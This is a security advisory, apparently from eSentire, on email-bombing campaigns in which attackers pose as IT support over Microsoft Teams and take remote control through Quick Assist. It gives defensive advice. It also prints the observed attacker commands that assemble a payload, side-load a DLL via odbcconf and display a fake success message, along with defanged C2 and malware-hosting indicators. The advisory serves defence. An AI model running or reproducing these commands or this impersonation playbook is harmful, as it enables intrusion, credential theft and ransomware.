Ongoing Email Bombing Campaigns leading to Remote Access…

esentire.com/security-advisories/ongoing-email-bombing-campaigns-leading-to-remote-access-and-post-exploitation

Speak With A Security Expert Now

TALK TO AN EXPERT

The Threat

In recent weeks, eSentire has observed multiple Email Bombing attacks, which involve threat actors using phishing techniques to gain remote access to a host in order to install malware. Email Bombing attacks comprise of users receiving large amounts of spam emails in a short period of time, resulting in overwhelming the user's inbox and a degradation of services. This is followed by a Microsoft Teams message from a threat actor claiming to be part of the organization's IT support team, requesting a remote session to help resolve the issue. These attacks have been linked to threat groups involved in ransomware campaigns. eSentire Threat Intelligence assess with high confidence that Email Bombing will continue to be an effective initial access technique.

Due to ongoing abuse, it is recommended that organizations restrict access to external Microsoft tenants unless required for legitimate business purposes. Additionally, following the principle of least privilege can help limit the potential impact of a security breach.

What we're doing about it

- IP addresses associated with real-world attacks are blocked via the eSentire Global Block List and additional indicators of compromise have been added to the Threat Intelligence Feed
- eSentire's Threat Response Unit is performing threat hunts for known Indicators of Compromise across customer environments

- eSentire MDR for Log has detections in place to identify Microsoft Teams messages originating from external accounts from high-risk sources
- eSentire MDR for Endpoint has detections in place to identify domain reconnaissance, application control bypass attempts, as well as for malware and ransomware being deployed on an endpoint
- The eSentire Threat Intelligence team is actively tracking this topic for additional details and detection opportunities

What you should do about it

- Microsoft Teams messages and calls from external organizations should be restricted unless necessary
  If required, restrictions should be placed to only allow messages and calls from trusted business partners
- Remote Access tools should be restricted via policy, unless required for normal operations
- Configure anti-spam policies within Exchange Online to block malicious emails
- User Awareness Training should be conducted to make users aware of these types of attacks
  - Grant remote access only to verified Tech Support teams
  - Login credentials must be kept secure, and access should not be provided to anyone claiming urgency without proper verification
  - Ensure users are aware of the process to report potential security incidents

Additional Information

The Email Bombing attack chain involves a user receiving high amounts of spam emails within a short period of time, in an attempt to overwhelm the user. This is then followed by a Microsoft Teams messages originating from threat actor-controlled Microsoft Office 365 service tenants, posing as tech support from the users' organization. This is possible through configuration settings within Microsoft Teams allowing for users on external domains the ability to initiate chats or meetings with internal users.

The threat actors will initiate a request for a call with the victim to help remediate the ongoing email spam issue. While on the call, the threat actor will utilize Microsoft remote control tools such as Quick Assist or Teams screen sharing to take control of the target's machine. During this session, the threat actor will download further malicious payloads onto the host to gain persistence, perform reconnaissance, gather credentials, exfiltrate data, and drop malware or ransomware. Sophos has attributed related activity to the ransomware-related threat clusters STAC5143 and STAC5777, which have also been documented in public reports as key threat actors in recent cyber threats.

In one instance, eSentire observed a threat actor downloading the following files via the Microsoft Edge web browser (kb052117-01.bpx and kb052123-02.bpx) once the threat actor gained access to the host via a Quick Assist session. The files were downloaded from the domain '*hxxps[://]filters6[.]s3[.]us-east-2[.]amazonaws[.]com/gtjs.html?t=drivers*', and were combined to create the file '*pack.zip*'.

```
> type kb052117-01.bpx kb052123-02.bpx > pack.zip
```

Scripted commands were run, performing various actions with the Zip file, and maintaining a guise of installing email filters for the user to cover their tracks.

This file was extracted using tar[.]exe, and created the '*%TEMP%\arch1271.cab*' file, where it was copied to the '*%LOCALAPPDATA%\Microsoft\ODBC*' directory. The '*arch1271.cab*' file contained the malicious '*wscapi.dll*' which was executed via the '*odbcconf.exe*' process.

```
> tar xf pack.zip -C "%TEMP%" arch1271.cab
> md "%LOCALAPPDATA%\Microsoft\ODBC"
> expand "%TEMP%\arch1271.cab" -F:* "%LOCALAPPDATA%\Microsoft\ODBC"
> cd /d "%LOCALAPPDATA%\Microsoft\ODBC"
> start "" odbcconf /a {REGSVR "%LOCALAPPDATA%\Microsoft\ODBC\wscapi.dll"}
> del /F "%TEMP%\arch1271.cab"
> cd /d "%CD%"
> echo Filters installed successfully!
```

Similar actions were performed within the '*%LOCALAPPDATA%\Microsoft\OneDrive*' directory, which resulted in a legitimate '*OneDriveStandaloneUpdater.exe*' process being created in the directory as well. After various steps, the script would print '*Filters installed successfully!*' to cover the threat actor's activity.

```
> tar xf pack.zip -C "%TEMP%" arch1271.cab
> expand "%TEMP%\arch1271.cab" -F:* "%LOCALAPPDATA%\Microsoft\OneDrive"
> del /F "%TEMP%\arch1271.cab"
> cd /d "%LOCALAPPDATA%\Microsoft\OneDrive"
> start "" "%LOCALAPPDATA%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe" -Embedding
> cd /d "%CD%"
> echo Filters installed successfully!
> )
> del kb052117-01.bpx
> del kb052123-02.bpx
> del pack.zip
> exit
```

A Registry key was also added under '*HKCU\SOFTWARE\TitanPlus*', containing C2 IPs (45[.]8[.]157[.]199:443;5[.]181[.]3[.]164:443;38[.]180[.]25[.]3:443). The final actions of the script were to delete the kb052117-01.bpx, kb052117-02.bpx, and pack.zip files. This activity was detected via MDR for Endpoint, where the SOC alerted and isolated the host involved.

In other instances of this attack, eSentire has observed PowerShell being used to download additional payloads and establish persistence, once a threat actor has gained remote access to a host. Specifically, the threat actor downloaded TeamViewer for persistence, deployed XenArmor password recovery tool to steal the victim's credentials and leveraged a .NET DLL payload to establish Command-and-Control (C2) connections, load SharpShares in memory to discover network shares, and use NItest for Domain Controller enumeration.

Indicators of Compromise (IOCs)	
38[.]180[.]25[.]3	C2 IP (STAC5777)
45[.]8[.]157[.]199	C2 IP (STAC5777)

5[.]181[.]3[.]164	C2 IP (STAC5777)
67[.]43[.]234[.]113	C2 IP
0041E492A07AAC0B64AD907D44E6242BCA8A2193D492B8DD44EFC14170391E0F	xem.7z Hash
26B16D28C42F3853D9AA571BD864E419B56B30A54BB5A8E596F70B2D227386402	RefreshSystem.txt Hash
2B3D230A76368B7B940BD069DD63C8FCD16E4DBFC888B127427062EE39BDD3CA	Malicious DLL that was dropped by the PowerShell dropper
4F77EA80FF9ACA5752A6CF01A0C0FF070563E286659AB86F43EAC889341B0E13	XenAllPasswordPro Hash
2010A4701A0819B61579F916149AE0A5FE3D37D6939B3F66102717C925289B9C	Malicious TeamViewer used by TA to establish persistence
73F3ED20F03168D25E658B0603E533CDB566B402	Malicious TeamViewer used by TA to establish persistence
hxxps[://]filters6[.]s3[.]us-east-2[.]amazonaws[.]com/gtjs.html?t=drivers	First Stage Payload downloader
hxxps[://]filters6[.]s3[.]us-east-2[.]amazonaws[.]com/js/kb052117-01[.]bpx	Malware payload hosting
hxxps[://]filters6[.]s3[.]us-east-2[.]amazonaws[.]com/js/kb052123-02[.]bpx	Malware payload hosting
hxxps[://]filters6[.]s3[.]us-east-2[.]amazonaws[.]com/gtjs[.]html?t=drivers	Malware payload hosting
hxxps[://]onedrive[.]live[.]com/download?resid=886E7DEE31E60678!116&authkey=!AFpMOei32rZTc4M	Malicious TeamViewer download for persistence
hxxps[://]drive[.]usercontent[.]google[.]com/u/0/uc?id=1xXbgBiLuM_D-Ak-J7bgRJefFvlfGY-fx	Malicious PowerShell dropper download

hxxps[://]drive[.]usercontent[.]google[.]com/u/0/uc?id=1IdT91pPHyRsDSQMyM7qXFlbVHG0F3a3r	Malicious PowerShell script download -> RefreshSystem.txt
hxxps[://]hatua[.]tech/mspsek/x	Possible download of XenAllPasswordPro and 7-ZIP used for credential theft
hxxps[://]hatua[.]tech/mspsek/7	Possible download of XenAllPasswordPro and 7-ZIP used for credential theft
hatua[.]tech	Possible download of XenAllPasswordPro and 7-ZIP used for credential theft
hxxps[://]ensol[.]co/wp-content/themes/twen/a[.]zip	Possible malicious TeamViewer download
ensol[.]co	Possible malicious TeamViewer download

References:

[1] https://csrc.nist.gov/glossary/term/least_privilege
[2] https://www.esentire.com/what-we-do/threat-response-unit/threat-intelligence-services
[3] https://learn.microsoft.com/en-us/microsoftteams/trusted-organizations-external-meetings-chat?tabs=organization-settings
[4] https://learn.microsoft.com/en-us/defender-cloud-apps/governance-discovery
[5] https://learn.microsoft.com/en-us/defender-office-365/anti-spam-policies-configure
[6] https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/
[7] https://github.com/sophoslabs/IoCs/blob/master/MAILBOMB-TEAMS-RANSOMWARE.csv